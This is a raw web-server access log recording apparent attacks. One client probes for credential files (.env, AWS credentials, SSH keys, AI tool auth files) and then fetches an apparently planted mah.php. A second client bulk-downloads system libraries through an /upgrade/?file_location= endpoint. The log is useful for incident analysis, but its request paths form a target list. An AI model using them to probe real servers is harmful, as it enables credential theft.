43.165.5.90 - - [11/Sep/2026:22:58:29 -0400] "GET /root/.spawnrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-passdb.so.0.30.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 194494 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-passdb.so.0.30.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:29 -0400] "GET /root/.wallet-env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:29 -0400] "GET /root/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-common.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111730 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-common.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:29 -0400] "GET /root/.env.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlidec.so.1.0.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126761 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlidec.so.1.0.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:30 -0400] "GET /root/.claude/.credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:30 -0400] "GET /root/.claude.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:30 -0400] "GET /root/.claude/CLAUDE.md HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcbor.so.0.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127613 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcbor.so.0.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:30 -0400] "GET /root/.gemini/oauth_creds.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdconf.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133047 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdconf.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:31 -0400] "GET /root/.gemini/settings.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:31 -0400] "GET /root/.codex/auth.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstallocators-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111243 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstallocators-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:31 -0400] "GET /root/.openclaw/openclaw.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibparted-fs-resize.so.0.0.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 145980 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibparted-fs-resize.so.0.0.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:32 -0400] "GET /root/.openclaw/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:32 -0400] "GET /root/.openclaw/workspace/.env.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpoppler-glib.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 256688 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpoppler-glib.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:32 -0400] "GET /root/.config/moltbook/credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpython3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105938 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpython3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:33 -0400] "GET /root/.config/vastai/credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfdisk.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 255074 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfdisk.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:33 -0400] "GET /root/.config/opencode/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:33 -0400] "GET /root/.nerve/config.yaml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy_contrib.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1683424 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy_contrib.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:34 -0400] "GET /root/.nerve/.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibltdl.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122863 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibltdl.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:34 -0400] "GET /root/.aws/credentials HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpamc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111622 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpamc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:34 -0400] "GET /root/.aws/config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpathplan.so.4.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121608 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpathplan.so.4.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:35 -0400] "GET /root/.aws/credentials.backup HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsybdb.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 319030 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsybdb.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:35 -0400] "GET /root/.aws/credentials.bak HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:35 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fglib-2.0 HTTP/1.1" 200 5936 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fglib-2.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:35 -0400] "GET /root/.aws/sso/cache/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:36 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgames HTTP/1.1" 200 5736 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgames" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:36 -0400] "GET /root/.ssh/id_rsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:36 -0400] "GET /root/.ssh/id_ed25519 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpg-error.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173236 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgpg-error.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:36 -0400] "GET /root/.ssh/id_ecdsa HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmlx4.so.1.0.61.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126846 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmlx4.so.1.0.61.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:37 -0400] "GET /actuator/env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-standard.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1456584 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-standard.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-3.so.200.26.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 168279 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-3.so.200.26.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpulse.so.0.24.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 239624 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpulse.so.0.24.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:37 -0400] "GET /actuator/configprops HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbccr.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120631 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbccr.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbisenc.so.2.0.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 226552 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbisenc.so.2.0.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbind9-9.16.23-RH.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 141094 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbind9-9.16.23-RH.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstrtsp-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 166958 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstrtsp-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjxl.so.0.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1390687 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjxl.so.0.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmpc.so.3.2.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153135 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmpc.so.3.2.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnvme.so.1.16.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 192723 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnvme.so.1.16.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibostree-1.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 627786 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibostree-1.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-rc.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112323 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-rc.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblkid.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 209849 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblkid.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblockdev.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 167496 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblockdev.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm_compat.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109023 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm_compat.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhandle.so.1.0.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109638 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhandle.so.1.0.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-gobject.so.0.20704.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131704 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-gobject.so.0.20704.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-qsbr.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118601 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-qsbr.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server_cgi.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109143 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server_cgi.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibanl.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106515 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibanl.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:44 -0400] "GET /-20260912023718.htaccess HTTP/1.1" 200 281 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbpf.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 302970 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbpf.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:45 -0400] "GET /error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:45 -0400] "GET /error_log-20260912023633. HTTP/1.1" 200 8794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam_misc.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109152 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam_misc.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:45 -0400] "GET /mah-20260912023710.php HTTP/1.1" 200 5483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:45 -0400] "GET /mah.php HTTP/1.1" 200 5483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
